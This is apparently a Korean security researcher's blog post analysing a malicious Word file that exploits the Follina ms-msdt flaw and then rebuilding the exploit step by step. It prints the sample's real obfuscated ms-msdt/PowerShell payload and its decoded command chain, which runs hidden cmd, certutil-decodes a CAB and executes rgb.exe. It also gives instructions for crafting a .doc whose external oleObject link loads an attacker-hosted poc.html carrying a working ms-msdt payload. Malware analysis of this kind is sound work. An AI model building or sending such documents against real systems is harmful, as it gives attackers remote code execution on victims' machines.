※본 문서는 연구 목적으로 작성한 게시글입니다.
해당 문서를 참고하여 악용할 시 기술자는 책임을 지지 않습니다.
ANALYSIS
File name : 05-2022-0438.doc(sample)
File size : 10.01 KB
MD5 : 52945af1def85b171870b31fa4782e52
SHA-1 : 06727ffda60359236a8029e0b3e8a0fd11c23313
SHA-256 : 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
처음 파일을 오픈했을 때, 빈 파일처럼 표시된다.(가상환경에서 실행.)
zip 파일로 변경하고 /word/_rels 폴더로 이동하였다.
- 해당 파일은 doc 파일의 내부구성 파일 정도로 생각하면 된다.
자세한 정보 : https://fileinfo.com/extension/rels
#텍스트 파일로 변경한 document.xml.rels
- 가독성을 위해 여러 줄로 변경하였다.
- Relationship Id가 "rId996"인 수상한 구성이 보인다.
#현재는 접속이 되지 않는 모습
#실제로 작동하는 RDF842I.html 파일 중 스크립트 태그의 내용(정크 바이트 제외)
- 출처 : https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html
- 해당 파일이 동작하게 되면 word의 external link를 사용하여 html을 로드하고, 'ms-msdt'를 통해 발생한다.
ms- msdt : ms / diagnostic tool(진단 도구 모음)
#스크립트 태그의 악성 구문
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-
Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+
[char]58+'FromBase64String('+
[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3
R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAk
Y21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9y
ICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmd
BQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5le
GUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe
IT_AutoTroubleshoot=ts_AUTO\"";
해당 구문을 통해 powershell 명령을 ms-msdt 로 호출한다는 것을 알 수 있었다.
#Invoke-Expression을 통해 실행된 데이터 중 Base64로 인코딩 된 데이터를 디코딩
$cmd = "c:\windows\system32\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
1. hidden 창으로 다음을 작동
2. 실행 중이면 msdt.exe 종료
3. 인코딩된 CAB 파일에 대한 Base64 문자열을 찾는 RAR 파일 내부의 파일을 통해 for문 작동
-> base64로 인코딩된 CAB 파일을 1.t로 저장
-> base64로 인코딩된 CAB 파일을 디코딩하여 1.c로 저장
-> 1.c CAB 파일을 현재 디텍토리로 확장
-> rgb.exe 실행
이로 인해 rgb.exe가 무슨 기능을 하는지 알 수 없지만, 해당 파일이 실행되어
시스템에 영향을 끼칠 수 있다는 것을 확인할 수 있다.
EXPLOIT
#환경
#윈도우에서 word를 검색하여 파일 생성, 이름 zip으로 변경 후 압축해제
# /word/_rels 폴더 안에 document.xml.rels 파일을 수정
- 확장자를 .txt로 변경하고 내용을 확인해보면 문서파일을 구성하는 설정들이 보인다.
- Relationship Id="rId4" 파트를 아래 설정으로 변경 후 .rels 확장자로 다시 변경
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://192.168.75.129:8000/poc.html" TargetMode="External"/>
-> 클릭하면 "http://192.168.75.129:8000/poc.html 파일을 실행하는 object 생성
# /word 폴더 안에서 document.xml 파일을 실제 악성코드 샘플에서 쓰인 파일로 변경
- 좌 : 새로 만든 문서의 document.xml
- 우 : 05-2022-0438.doc 파일의 document.xml
-> document.xml.rels 파일에 "oleObject" 의 설정으로 변경해주었었는데,
document.xml에 object 구성에 대해 기술되어있는 것을 확인할 수 있다.
그러므로 "http://192.168.75.129:8000/poc.html" 파일을 의도적으로 실행하기 위해
document.xml 파일을 object 구성정보가 있는 파일로 변경해주었다.
#처음 압축 해제 한 폴더로 돌아와서 재압축 후 .doc으로 확장자 변경.
#워드파일 실행 후 오브젝트 더블클릭
- 문서를 열었을 때 빈 문서처럼 보이지만, 좌측 상단을 더블클릭하게 되면 오브젝트가 실행되어
공격자의 서버와 통신하고, 공격자 서버의 html 파일을 실행하게 된다.
#공격자 서버쪽에서 poc.html 파일이 실행된 것이 보였다.
#poc.html
- script 태그 안의 무수히 많은 'B'는 4096바이트를 채우기 위해 존재하는 것인데, 4096바이트는 HTML 처리 기능을 위한
하드코딩된 버퍼 크기이다. 4096 바이트 미만의 파일은 페이로드를 호출하지 않는다고 한다.
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
- 정크 데이터를 제외하고 스크립트 코드가 있는데, 이 코드는 호출되었을 때 ms-msdt를 이용해 피해자의 로컬에서 계산기를 호출하는 파워쉘코드를 포함하고 있다.
# 위 과정을 통해 오브젝트를 클릭하면 아래 사진처럼 피해자의 의지 없이 계산기가 실행되게 된다.
[참고문서]
https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/details
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html
https://isc.sans.edu/forums/diary/New+Microsoft+Office+Attack+Vector+via+msmsdt+Protocol+Scheme/28694/#comments
https://www.pwndefend.com/2022/05/30/office-microsoft-support-diagnostic-tool-msdt-vulnerability-follina/